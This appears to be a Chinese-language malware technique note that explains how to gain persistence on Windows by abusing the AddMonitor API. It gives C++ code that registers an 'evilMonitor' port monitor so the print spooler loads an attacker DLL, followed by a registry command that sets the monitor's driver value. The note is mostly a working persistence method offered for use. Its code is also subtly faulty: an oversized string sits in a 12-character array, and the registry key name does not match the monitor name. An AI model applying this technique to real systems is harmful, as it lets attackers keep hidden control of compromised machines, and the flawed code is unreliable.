Malware-Note/persistence/uncatelogued/addmonitor.md

AddMonitor

AddMonitor()函数，可用于安装本地端口监视器并配置连接、数据和监视器文件。此函数能够将DLL注入spoolsv.exe进程，以在系统上实现持久性。

C++

#include "stdafx.h"
#include "Windows.h"
int main() {
    MONITOR_INFO_2 monitorInfo;
    TCHAR env[12] = TEXT("Windows x64");
    TCHAR name[12] = TEXT("evilMonitor");
    TCHAR dll[12] = TEXT("qwqdanchun.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = env;
    monitorInfo.pDLLName = dll;
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
    return 0;
}
//Compile to monitor.exe and move your evil DLL to %systemroot% then run the compiled monitor.exe

#Then run this command
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /t REG_SZ /d "qwqdanchun.dll" /f

参考文章：

{% embed url="https://www.ired.team/offensive-security/persistence/t1013-addmonitor" caption="" %}

{% embed url="https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor" caption="" %}